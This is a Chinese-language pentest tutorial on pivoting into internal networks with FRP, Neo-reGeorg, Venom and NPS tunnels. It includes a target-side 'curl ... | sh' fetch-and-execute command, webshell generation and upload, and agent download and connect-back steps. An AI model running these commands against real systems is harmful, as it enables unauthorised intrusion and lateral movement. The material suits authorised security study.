内网代理

内网代理

在了解内网代理之前我们需要知道,有的工具是用来创建代理隧道的,搭配配置代理的工具达到内网穿透的目的。简单点理解就是,创建代理工具是开凿一个水渠,而配置代理工具就是把水流引到想要的地方。

创建代理工具:

FRP、Neo-reGeorg、Venom、NPS

配置代理工具:

SwitchyOmega(浏览器插件,适用于Linux和Windows)
proxifier (配置系统代理或者应用代理,仅使用Windows)
Proxychains(Kali的代理神器)

FRP

0.前言

下载地址:https://github.com/fatedier/frp/releases

0.47的有Windows的:

image

一般下载amd64就可以了

目录结构:

image

各个文件的释义:

frpc.exe(客户端)	frpc.ini(客户端配置文件)
frps.exe(服务端)	frps.ini(服务端配置文件)

1.手搓

服务端:如果要打远程内网,服务端都是放在VPS​上的,保证服务端和客户端都能同时访问到这台VPS即可搭建代理隧道

使用frp之前要配置好frps.ini​和frpc.in

frpc.ini:

[common]
server_addr = 10.103.119.169
server_port = 7000
token = frpToken@admin2022


[proxy]
type = tcp
plugin = socks5
remote_port = 25599

frps.ini:

[common]
## 一、服务器的基本配置部分
## 7000 是FRP服务端口,可以改
bind_port = 7000
## dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
## 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 25500
## 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022

服务端:

image

客户端:

客户端先反弹一个shell,否则蚁剑的webshell不支持一直运行一个程序

反弹shell之后要记得chmod 777 frpc

给程序赋权之后就可以运行了

​​image​​

手搓的话代理就是开在 vpsIP:25599​了

访问http://serverip:25500/​ 可以看到配置情况:

image

这样子就算搭建好一个socks5隧道。当然了,上面只是最简单的例子,并没有设置密码等功能。

SwitchyOmega​​配置代理

image

​​image​​

2.工具

工具很简单,也是在frp基础上为了更好地利用frp开发的

地址:https://github.com/LxxxSec/FastProxy

这种方法只适用于linux​客户端

利用方式很简单,在vps上面运行(服务端):

python3 app.py vpsip 12345

image

然后在客户端(靶机)运行:

curl http://123.249.8.26:12345/hack -s | sh &

就是python开启的服务端中第一个[+]里面提示的东西

image

这样子就算搭建好了内网代理

这里搭建的代理有秘密,账号密码是 admin/password

kali配置代理:

gedit /etc/proxychains4.conf

image

验证成功性:

image

proxifier配置代理:

这里可以看到代理的IP和端口,账号和密码

image

根据搭建好的socks5代理,进行规则配置:

image

image

注意:配置全局代理有一些本地的应用将会失去网络连接,即断网

配置代理服务器,配置完之后可以点击检查,看右边的如果测试通过则表示代理配置成功:

image

之后就是全局代理了,可以直接访问内网:

​​image​​

当然了,这里也可以配置单个的应用代理,只需要在代理规则那里将想要代理的应用使用代理,任意应用采取direct策略即可

假设这里要设置远程桌面应用:

​​image​​

image

测试访问情况:

0e76e707cca885d1066f04b8306e6d0a

发现可以成功登陆

小插曲

这里就算设置了proxifier的代理应用为全部好像还是利用不了fscan扫描,有点奇怪。可以单独给fscan设置一个应用代理。

Neo-reGeorg代理

先生成我们需要的shell:

python neoreg.py generate -k qingfeng

image

根据目标的web服务选择上传的shell文件

把neoreg_servers目录下面生成的php文件放到目标文件上。切记这里不要把templates目录下的php当成生成的恶意文件,那个只是模板,可以自己修改,想要修改可以参考https://www.cnblogs.com/zpchcbd/p/16609082.html过免杀,`其中有一个把回显改成404,然后连接使用--skip的思路还挺新奇的,值得参考`​。过这个坑感谢qiu爷好骂。

使用本机连接:

python neoreg.py -u http://192.168.64.129/tunnel.php -k qingfeng -p 9999

这里使用SwitchyOmega​演示:

image

访问试试看:

image

有一个参数可以注意的就是,如果我们不指定-l​参数,他默认就是127.0.0.1​。这种情况下这个代理只能本机使用了,如果是使用命令:

python neoreg.py -u http://192.168.64.129/tunnel.php -k qingfeng -p 9999 -l 192.168.64.1

这样子指定一个别人能访问得到的ip,那么这个代理就可以供其他机器使用了

image

我们再kali上连接代理尝试访问:

image

发现是可以成功的

Venom代理

┌──(kali㉿kali)-[~/Tools]
└─$git clone https://github.com/Dliv3/Venom

安装好后进入目录编译一下:

┌──(kali㉿kali)-[~/Tools/Venom]
└─$ ./build.sh   
build macos x64 admin & agent...
go: downloading github.com/cheggaaa/pb/v3 v3.0.1
go: downloading golang.org/x/crypto v0.0.0-20190911031432-227b76d455e7
go: downloading github.com/libp2p/go-reuseport v0.0.1
go: downloading github.com/fatih/color v1.7.0
go: downloading github.com/VividCortex/ewma v1.1.1
go: downloading github.com/mattn/go-colorable v0.1.2
go: downloading github.com/mattn/go-isatty v0.0.8
go: downloading github.com/mattn/go-runewidth v0.0.4
go: downloading golang.org/x/sys v0.0.0-20190412213103-97732733099d
build linux x64 admin & agent...
build linux x86 admin & agent...
build windows x86 admin & agent...
build arm eabi5 agent...
build mipsel agent..

进入release​目录,本地开启一个http​服务供docker​下载客户端用于连接我们:

我们先看一下客户端docker的环境是多少位的内核版本多少:

/app # cat /proc/version           
Linux version 3.13.0-24-generic (buildd@panlong) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014
/app # uname -a
Linux 755411217bdd 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 Linux

可以看到是64位的

我们在/Venom/release​目录下面用python​开一个web​服务:

┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

然后在目标靶机上下载客户端:

/app # wget 192.168.64.128:8888/agent_linux_x64
Connecting to 192.168.64.128:8888 (192.168.64.128:8888)
agent_linux_x64      100% |*******************************|  3564k  0:00:00 ETA

kali开启监听端口:

┌──(kali㉿kali)-[~/Tools/Venom/release]
└─$ ./admin_linux_x64 -lport 2333 
Venom Admin Node Start...

                                                                       
     ██▒   █▓█████ ███▄    █ ▒█████  ███▄ ▄███▓                        
    ▓██░   █▓█   ▀ ██ ▀█   █▒██▒  ██▓██▒▀█▀ ██▒                        
     ▓██  █▒▒███  ▓██  ▀█ ██▒██░  ██▓██    ▓██░                        
      ▒██ █░▒▓█  ▄▓██▒  ▐▌██▒██   ██▒██    ▒██                         
       ▒▀█░ ░▒████▒██░   ▓██░ ████▓▒▒██▒   ░██▒                        
       ░ ▐░ ░░ ▒░ ░ ▒░   ▒ ▒░ ▒░▒░▒░░ ▒░   ░  ░                        
       ░ ░░  ░ ░  ░ ░░   ░ ▒░ ░ ▒ ▒░░  ░      ░                        
         ░░    ░     ░   ░ ░░ ░ ░ ▒ ░      ░                           
          ░    ░  ░        ░    ░ ░        ░                           
         ░                                                             
               { v1.1 author: Dlive } 

目标机连接kali:

/app # ./agent_linux_x64 -rhost 192.168.64.128 -rport 2333
./agent_linux_x64 -rhost 192.168.64.128 -rport 2333
2023/06/01 06:45:18 [+]Successfully connects to a new node

连接成功后可以用show查看连接的情况:

image

我们可以利用goto 1​进入该节点

可以利用该节点搭建socket5​代理

image

接着利用本机的kali​的proxychains​来连接这个socket​代理

┌──(kali㉿kali)-[~/桌面]
└─$ sudo gedit /etc/proxychains4.conf

image

配置好代理就可以开始内网信息收集了

NPS代理

nps_server.conf的配置文件:

appname = nps
#Boot mode(dev|pro)
#启动模式
runmode = dev

#HTTP(S) proxy port, no startup if empty
#HTTP(S)代理端口,如果为空则不启动
http_proxy_ip=0.0.0.0
http_proxy_port=8081   #http监听端口,默认80
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
#默认HTTPS证书设置
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key

##bridge
##桥接
bridge_type=tcp
bridge_port=8024		##客户端与服务端连接端口
bridge_ip=0.0.0.0

## Public password, which clients can use to connect to the server
## 公共密码,客户端可以使用它连接到服务器
## After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
## 连接完成后,服务器就可以打开相关端口,根据自己的配置文件解析相关域名。
public_vkey=123

#Traffic data persistence interval(minute)
#流量数据持续时间间隔(分钟)
#Ignorance means no persistence
#flow_store_interval=1

## log level LevelEmergency->0  LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
## 日志等级设置
log_level=7
#log_path=nps.log

#Whether to restrict IP access, true or false or ignore
#是否限制IP访问,true、false或ignore
#ip_limit=true

#p2p代理
#p2p_ip=127.0.0.1
#p2p_port=6000

#web
web_host=						##web管理端登录地址URL
web_username=admin	##web管理端登录名
web_password=123		##web管理端登录密码(注:正式环境建议更改)
web_port = 8080			##web管理端访问端口
web_ip=0.0.0.0			##web管理端登录地址默认0.0.0.0不需要修改
web_base_url=				##管理端web路径,默认不需要指定
web_open_ssl=false	#管理端是否开启ssl
web_cert_file=conf/server.pem
web_key_file=conf/server.key
## if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps

#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678

#allow_ports=9001-9009,10001,11000-12000

#Web management multi-user login
#Web管理多用户登录
allow_user_login=false
allow_user_register=false
allow_user_change_username=false


#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false

#cache
http_cache=false
http_cache_length=100

#get origin ip
http_add_origin_header=false

#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999

#client disconnect timeout
#客户端断开连接超时
disconnect_timeout=60

然后用命令./nps​开启服务

访问vps_ip:vps_port

image

登陆,创建一个客户端连接:

image

配置好选项:

image

上图分别对应客户端这三个配置:

image

!!这里的**basic_username****basic_password**也是后续使用socks5代理要配置的账号密码!!

image

然后配置服务器端口,就是socks5的端口,这里选择8888,默认是8003

​​image​​

客户端连接的命令:

 ./npc -server=123.249.8.26:8024 -vkey=12345 -type=tcp

image

连接成功后的显示就是这样

可以利用SwitchyOmega来验证一下连接的成功性:

image

然后点击那个锁配置密码:

image

访问一下内网地址,发现成功访问,即为穿透成功

image

内网机器不出网如何搭建隧道

我们来看一下连接的拓扑图是如何的

​​image​​

这里就是通过socks5代理以vps为服务端,内网机器1为客户端达到内网穿透访问内网机器.这种利用VPS的场景更常见于拿下了公网的服务器,想要进一步渗透内网机器。

首先通过这个拓扑图我们要明白:

穿透是指穿透客户端相关整个网段的机器

如何理解呢?

  1. 如果我们要穿透10网段的地址,需要把客户端放在我们可以访问的10网段。就如上图的内网机器1,因为他同时拥有192的网段和10的网段,利用他我们就可以达到穿透10网段的目的。
  2. 如果再有10地址的机器,如10.10.11.200​、10.10.11.215​等等我们都可以利用这个搭建好的隧道访问到
  3. 要和服务端区别开,服务端只是双方均可访问到的桥梁,并不能作为内网穿透的目标网段。简单而言就是你本机是访问不到vps中转服务端的内网地址的。

其次我们可以屏蔽中间人的请求,直接对内网机器2发送请求。那么这个中间人是否可以再操作?

image

可以注意到,我们其实和内网机器1是在同一个网段的,所以我们可以摒弃VPS中转服务端。直接利用内网机器1进行流量代理,所以可以直接把内网机器1当作服务端和客户端,自己连接自己。我们通过建立的socks5代理达到内网穿透的目的。

image

我们通过连接好的socks5代理,试试看内网穿透能否成功;

image

可以看到成功达到内网穿透

那么这种方法有何意义或者作用呢?

在某次实战中有这样一个问题:

现在已经拿下了内网机器机器1,想要继续访问内网机器2。但是内网机器1他不出网,而且没有web服务。

确实可以利用MSF正向的方法,建立连接,然后使用route配置路由访问。当时不会这一条路,建立了正向连接无法访问内网机器2的web服务,无法进行下一步渗透。

此时想要建立隧道就可以使用上述方法,把内网机器1同时当作客户端和服务端我们就可以内网穿透达到访问内网机器2的目的。

关于MSF的内网利用和CS的内网利用后续更新…